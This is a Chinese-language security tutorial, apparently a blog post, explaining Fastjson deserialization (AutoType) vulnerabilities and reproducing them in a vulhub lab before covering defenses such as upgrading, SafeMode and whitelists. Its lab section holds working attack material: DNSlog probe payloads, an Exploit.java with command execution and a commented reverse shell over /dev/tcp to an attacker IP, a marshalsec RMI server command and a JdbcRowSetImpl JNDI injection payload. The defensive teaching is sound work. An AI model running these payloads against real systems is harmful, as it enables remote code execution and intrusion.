
1. 项目概述从一次内部安全演练说起去年我们团队在一次针对内部Java Web应用的例行安全渗透测试中发现了一个令人警醒的现象一个看似无害的、用于接收前端JSON配置的API接口竟然可以被利用来在服务器上执行任意系统命令。经过一番排查根源直指一个广泛使用的JSON处理库——Fastjson。这个案例让我意识到尽管Fastjson以其极致的性能著称但在特定版本下其反序列化机制却可能成为攻击者直捣黄龙的“捷径”。今天我就结合那次实战经历和后续的深入研究为大家拆解Fastjson反序列化漏洞的来龙去脉、利用手法以及至关重要的防御策略。无论你是负责应用安全的工程师、开发人员还是对Java安全感兴趣的学习者理解这个漏洞都将帮助你更好地构建和守护自己的系统。简单来说Fastjson反序列化漏洞的核心在于当它被配置为自动将JSON字符串转换为复杂的Java对象尤其是开启了Feature.SupportNonPublicField等特性时如果攻击者精心构造了一段恶意的JSON数据其中指定了某个可利用的“类”class及其属性Fastjson在反序列化过程中就会去实例化这个类。如果这个类的构造函数、setter方法或某些特定字段如DataSource中存在危险操作如执行命令、访问文件那么恶意代码就会被触发。这完全颠覆了我们对“数据”的认知一段本应被解析为静态数据结构的文本竟然能携带可执行的攻击载荷。2. 漏洞原理深度剖析为什么JSON会“活”过来要理解这个漏洞我们必须先抛开“JSON只是数据交换格式”的固有观念。在Fastjson的语境下尤其是在其默认或某些特定配置下JSON可以是一种“可执行的描述性语言”。2.1 序列化与反序列化的本质在Java中序列化是将对象的状态信息转换为可以存储或传输的形式如字节流、JSON字符串的过程反序列化则是其逆过程。Fastjson通过JSON.parseObject()或JSON.parse()方法将JSON字符串变回Java对象。为了方便开发者常常使用type这个特殊的元信息来指定目标类。{ type: com.example.User, name: 张三, age: 25 }这段JSON告诉Fastjson“请把我还原成一个com.example.User对象并把name和age字段填上。” 在理想情况下这非常方便。2.2 罪恶的钥匙type属性与AutoType机制Fastjson的AutoType机制是其高性能反序列化的关键也是漏洞的根源。为了在反序列化时能准确地找到并实例化type指定的类Fastjson需要根据类名去加载这个类。问题在于Java的类加载机制是强大的它允许加载并初始化任何在类路径下可访问的类。攻击者的思路由此展开我能否构造一个type指向一个Java标准库或第三方库中存在的、其构造方法或属性设置方法包含危险代码的类答案是肯定的。Java生态中存在大量这样的“通用”类它们并非为了恶意目的而设计但其行为在反序列化这个特定上下文中变得危险。例如com.sun.rowset.JdbcRowSetImpl这个类它有一个setDataSourceName()方法。当这个方法被调用时为了连接数据源它会执行JNDI查找。而JNDIJava Naming and Directory Interface支持多种协议包括ldap://、rmi://。如果攻击者控制了一个恶意的LDAP/RMI服务器并在响应中指向一个包含恶意字节码的远程类文件那么目标服务器在反序列化过程中就会去加载并执行这个远程类从而导致远程代码执行RCE。注意这里描述的利用链JdbcRowSetImpl JNDI注入是Fastjson历史上最著名、最经典的利用方式之一。其成功需要目标环境满足几个条件1. Fastjson版本存在AutoType漏洞且未正确配置黑白名单2. 目标Java版本较低通常早于8u191/7u201/6u211这些版本默认允许从远程代码库加载类3. 网络可达恶意LDAP/RMI服务器。2.3 漏洞触发的必要条件并非所有使用Fastjson的场景都会触发漏洞。一个成功的攻击通常需要以下条件同时满足反序列化方法调用应用使用JSON.parseObject()或JSON.parse()处理来自外部的、用户可控的JSON字符串并且目标类型是Object、JSONObject或一个泛型类使得type生效。AutoType未禁用或绕过在历史漏洞版本如1.2.24-1.2.47中AutoType默认开启或可以通过特定手段如利用缓存、特殊字符绕过黑名单限制。新版Fastjson1.2.68默认关闭AutoType安全性大幅提升。存在可利用的类路径目标应用的类路径包括Java运行时库、应用服务器库、项目依赖的Jar包中存在可以被用来构造攻击链的“危险类”gadget class。环境配合如上述JNDI利用链需要Java版本、网络策略等环境条件的配合。3. 漏洞利用实战演示搭建靶场与手工探测警告以下所有操作仅限在授权的安全测试环境、专用靶场或个人学习环境中进行。任何未经授权对他人系统进行测试的行为均属违法。为了让大家有直观感受我们使用一个经典的漏洞靶场环境进行演示。这里我选择vulhub项目中的Fastjson 1.2.47漏洞环境因为它集成了所有必要组件易于复现。3.1 环境准备与启动首先确保你的实验机器上安装了Docker和Docker Compose。# 1. 拉取 vulhub 项目如果已有可跳过 git clone https://github.com/vulhub/vulhub.git cd vulhub/fastjson/1.2.47-rce # 2. 启动漏洞环境 docker-compose up -d # 3. 查看服务状态通常会启动一个Web应用在8080端口 docker-compose ps环境启动后访问http://your-ip:8080你会看到一个简单的JSON API界面。它接收一个JSON对象并将其中的name字段内容返回。后端代码逻辑大致如下// 伪代码仅示意 String input request.getParameter(data); JSONObject obj JSON.parseObject(input); // 危险操作 String name obj.getString(name); out.println(Hello, name);3.2 手工探测漏洞是否存在在发起真正的攻击之前我们需要确认目标是否存在Fastjson反序列化点并且是否可被利用。一个常见的探测方法是利用DNSlog外带信息。获取一个DNSlog域名访问如dnslog.cn或ceye.io这类平台你会获得一个临时子域名例如abc123.dnslog.cn。构造探测Payload我们利用Fastjson在反序列化某些类时会触发属性setter方法或构造函数的特点。例如java.net.InetAddress类在解析主机名时会进行DNS查询。{ type: java.net.InetAddress, val: your-subdomain.dnslog.cn }或者更常用的java.net.Inet4Address{ type: java.net.Inet4Address, val: 你的域名.dnslog.cn }发送Payload并观察将上述JSON作为data参数的值通过POST或GET方式发送给目标接口。curl -X POST http://your-ip:8080/ -H Content-Type: application/json --data {data:{\type\:\java.net.Inet4Address\,\val\:\xxx.dnslog.cn\}}确认漏洞稍等片刻刷新你的DNSlog平台页面。如果看到有一条对你子域名的DNS查询记录那么恭喜或者说遗憾目标存在Fastjson反序列化漏洞并且AutoType机制可能被触发。这说明应用在解析我们的JSON时确实尝试去实例化java.net.Inet4Address并设置了val属性从而发起了DNS查询。实操心得DNSlog探测是一种“无回显”的探测方式非常隐蔽且安全不会对目标造成直接影响。它是判断“是否存在反序列化点”以及“type是否生效”的黄金标准。如果这一步没反应可能意味着AutoType被关闭或者接口处理逻辑并非简单的parseObject。3.3 构造JNDI注入实现RCE在确认漏洞存在后我们可以尝试构造完整的远程代码执行。这里我们演示经典的JdbcRowSetImpl利用链。这个利用需要三个角色协同攻击者我们、受害应用靶场、恶意RMI/LDAP服务器。准备恶意类首先我们需要编译一个恶意Java类这个类会在其静态代码块或构造函数中执行我们想要的命令。例如创建一个Exploit.java// Exploit.java public class Exploit { static { try { // 执行命令例如打开计算器Windows或弹出一个对话框Linux需图形环境 Runtime.getRuntime().exec(calc.exe); // 或者反弹Shell例如Runtime.getRuntime().exec(new String[]{/bin/bash, -c, exec 5/dev/tcp/攻击机IP/端口;cat 5 | while read line; do $line 25 5; done}); } catch (Exception e) { e.printStackTrace(); } } }将其编译成Exploit.class文件。启动恶意RMI/LDAP服务器我们需要一个工具来托管这个恶意类并扮演RMI/LDAP服务器的角色。常用的工具有marshalsec。首先下载并编译它或者直接使用现成的Jar包。# 启动一个RMI服务器监听1099端口并指定恶意类所在的HTTP服务地址 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://你的攻击机IP:8000/#Exploit 1099同时在另一个终端用Python快速启动一个HTTP服务端口8000确保Exploit.class文件在这个HTTP服务的根目录下。python3 -m http.server 8000构造并发送最终攻击Payload现在构造指向我们恶意RMI服务器的JSON Payload。{ type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: rmi://你的攻击机IP:1099/Exploit, autoCommit: true }当Fastjson反序列化这个对象时它会实例化JdbcRowSetImpl。调用setDataSourceName(“rmi://...”)。autoCommit属性被设为true这会触发JdbcRowSetImpl去连接这个数据源。连接过程发起JNDI查找请求我们的RMI服务器。RMI服务器返回一个Reference指向http://你的攻击机IP:8000/Exploit.class。受害应用的Java环境在低版本下会去这个地址加载类从而执行静态代码块中的命令。发送请求curl -X POST http://your-ip:8080/ -H Content-Type: application/json --data {data:{\type\:\com.sun.rowset.JdbcRowSetImpl\,\dataSourceName\:\rmi://攻击机IP:1099/Exploit\,\autoCommit\:true}}如果成功靶场服务器的计算器应该会被弹出在图形界面环境下或者你会在你的NC监听端口收到一个反弹的Shell。注意事项这个利用链对Java版本有严格要求。在Java 8u191、7u201、6u211及以后版本中Oracle默认禁用了从远程代码库加载工厂类com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.ldap.object.trustURLCodebase默认为false这使得基于远程类加载的JNDI注入失效。但对于这些较新版本攻击者会转向利用目标本地类路径中已有的类来构造更复杂的“无外部依赖”的利用链即gadget chain例如利用Tomcat EL、Groovy、Mozilla Rhino等库中的类这需要更深入的研究和构造。4. 漏洞防御与修复方案知其然更要知其所以然。了解攻击是为了更好的防御。针对Fastjson反序列化漏洞我们可以从多个层面进行加固。4.1 终极方案升级与替换升级Fastjson到安全版本这是最直接有效的办法。请务必升级到Fastjson 1.2.83 版本。在这个版本中AutoType默认关闭并且引入了更严格的安全机制。官方维护了详细的 安全建议 建议定期关注。考虑替换库如果业务允许可以考虑替换为其他设计上更安全的JSON库例如Jackson默认情况下更安全需要显式配置多态类型处理JsonTypeInfo才会存在类似风险且社区响应迅速。GsonGson的设计相对简单其反序列化过程不涉及自动的类型实例化因此理论上不存在此类利用链。但Gson的性能通常低于Fastjson。Jackson和Fastjson的一个关键区别Jackson在反序列化时如果没有明确的类型信息如JsonTypeInfo它不会根据字符串内容去猜测和加载类。而Fastjson的type是内置特性历史版本中默认行为更危险。4.2 配置层面关闭AutoType与使用安全模式如果暂时无法升级必须在代码中显式关闭AutoType。这是最重要的配置。// 错误做法使用默认配置 JSON.parseObject(jsonStr); // 正确做法关闭AutoType ParserConfig config new ParserConfig(); config.setAutoTypeSupport(false); // 显式关闭 // 或者使用全局配置推荐 ParserConfig.getGlobalInstance().setAutoTypeSupport(false); // 然后使用配置进行解析 JSON.parseObject(jsonStr, Object.class, config, Feature.SupportAutoType);在1.2.68及以上版本可以使用安全模式SafeMode这是最严格的防护彻底禁用AutoType。ParserConfig.getGlobalInstance().setSafeMode(true);一旦开启安全模式所有type都将失效从根本上杜绝了此类攻击。4.3 代码层面白名单校验与输入净化使用白名单如果业务确实需要使用AutoType例如处理多态类型必须使用白名单机制只允许反序列化已知的、安全的类。ParserConfig config new ParserConfig(); config.addAccept(com.yourcompany.safe.model.); config.addAccept(com.another.safe.); // 任何不在白名单中的type都会被拒绝。指定具体类型在反序列化时尽量使用具体的类而不是通用的Object或JSONObject。// 好明确知道要转成User类 User user JSON.parseObject(jsonStr, User.class); // 危险类型不确定为type提供了可能 Object obj JSON.parseObject(jsonStr); JSONObject jsonObj JSON.parseObject(jsonStr); // 同样危险对输入进行严格校验对用户输入的JSON字符串进行合法性检查过滤掉非预期的type关键字虽然这不是根本解决方案攻击者可能通过其他属性触发但可以作为一层防护。4.4 架构与运维层面最小化依赖定期审查项目依赖如使用mvn dependency:tree移除不必要的库减少潜在的危险类gadget来源。升级Java运行环境及时将生产环境的JRE/JDK升级到最新版本高版本Java对JNDI等危险操作有默认限制。网络隔离严格限制服务器出站流量特别是向未知外部地址发起JNDI/LDAP/RMI请求的能力。这可以阻断需要连接外部恶意服务器的利用链。部署WAF/ RASP在应用层部署Web应用防火墙WAF配置规则拦截包含可疑type和已知攻击Payload的请求。运行时应用自我保护RASP能更深入地在代码层面监控和阻断危险的反序列化操作。5. 常见问题与排查技巧实录在实际的漏洞挖掘、修复和应急响应中会遇到各种各样的问题。这里记录一些典型场景和解决思路。5.1 漏洞排查清单当你怀疑一个应用存在Fastjson漏洞时可以按以下步骤排查信息收集确定应用使用的Fastjson版本。检查pom.xml、gradle文件或lib目录下的jar包。搜索代码库中JSON.parseObject()、JSON.parse()的调用点特别是参数为用户输入的地方。动态测试使用上文提到的DNSlog Payload进行无回显探测。如果应用有错误回显可以尝试发送一个格式正确但type指向不存在的类的JSON观察错误信息中是否包含Fastjson特有的栈信息如com.alibaba.fastjson.JSONException。流量分析在WAF或流量镜像中寻找请求体或参数中包含type、$ref等Fastjson特有语法的流量。5.2 修复后验证修复漏洞如升级版本、关闭AutoType后必须进行验证功能回归测试确保业务中正常的JSON反序列化功能尤其是使用了多态特性的地方不受影响。安全复测再次使用DNSlog Payload进行测试应无DNS查询记录。尝试发送包含已知恶意type如com.sun.rowset.JdbcRowSetImpl的Payload应用应当直接拒绝抛出异常或安全地忽略而不会执行任何危险操作。可以使用开源漏洞扫描器如Goby、Xray的被动扫描插件对相关接口进行扫描确认。5.3 疑难杂症处理问题升级到1.2.83后某些业务功能报错com.alibaba.fastjson.JSONException: autoType is not support。排查这通常是因为业务代码确实依赖了AutoType来处理一些多态类型。此时不能简单地一关了之。解决首先审查报错的类是否安全、是否为自己或可信第三方定义的类。如果安全使用白名单机制将这些类的全限定名添加到ParserConfig的白名单中。如果涉及大量历史类可以考虑在安全版本下先开启AutoType但必须立即着手梳理和建立完整的白名单这是一个从“黑名单”思维转向“白名单”思维的安全加固过程。问题使用了JSONField(deserialize false)注解但感觉不放心。解释这个注解可以阻止Fastjson反序列化时调用某个字段的setter方法对于防御通过特定属性触发的利用链有一定作用。但它不是全局解决方案因为攻击者可能通过其他属性或构造函数进行利用。它应作为辅助手段而非主要防御措施。5.4 关于其他JSON库经常有人问“Jackson和Gson有类似问题吗” 这里简单对比Jackson在默认配置下是安全的。但其强大的多态类型处理功能JsonTypeInfo使用CLASS或MINIMAL_CLASS如果配置不当也可能引入类似的远程代码执行风险。关键在于Jackson需要开发者显式地启用并配置这些功能而Fastjson历史上是默认行为更开放。Gson其设计哲学不同。Gson.fromJson()需要你明确指定目标类型如MyClass.class它不会根据JSON内容中的某个字段去动态加载类。因此在Gson的标准用法中不存在type这种机制也就没有同类漏洞。它的安全性模型更简单。6. 从Fastjson漏洞看软件供应链安全Fastjson漏洞给我们上了一堂深刻的软件供应链安全课。一个被数百万应用依赖的核心基础组件出现漏洞其影响是灾难性的、辐射状的。主动监控依赖不要做“拿来主义”者。使用工具如OWASP Dependency-Check、GitHub Dependabot、Snyk持续扫描项目依赖及时获取漏洞情报。评估与选择在引入一个新库时除了性能和功能必须将“安全历史”和“维护活跃度”作为关键评估指标。一个曾经出现严重安全漏洞但修复响应迅速、透明沟通的项目有时比一个看似安全但已无人维护的项目更可靠。纵深防御不要依赖单一安全措施。即使使用了“安全”的库也要在代码层输入校验、最小权限、架构层网络隔离、运行时层RASP建立多层防御假设漏洞总会存在。应急响应流程建立团队内部的第三方组件漏洞应急响应流程。一旦收到漏洞通告如来自CNVD、CNNVD或开源社区能快速定位受影响应用、评估风险、制定修复或缓解方案如升级、配置修改、临时下线特性。在我个人的经验里修复Fastjson漏洞最深刻的教训不是技术上的而是流程上的。那次事件后我们团队强制要求所有新项目在pom.xml中必须锁定核心组件的版本号并且每周例行扫描依赖漏洞。对于Fastjson我们的策略是在新项目中默认使用Jackson对于存量老系统全部制定计划升级到Fastjson最新安全版本并在升级前通过代码审计和灰盒测试确保没有开启危险的AutoType特性。安全往往就藏在这些看似繁琐的规范和持续的努力之中。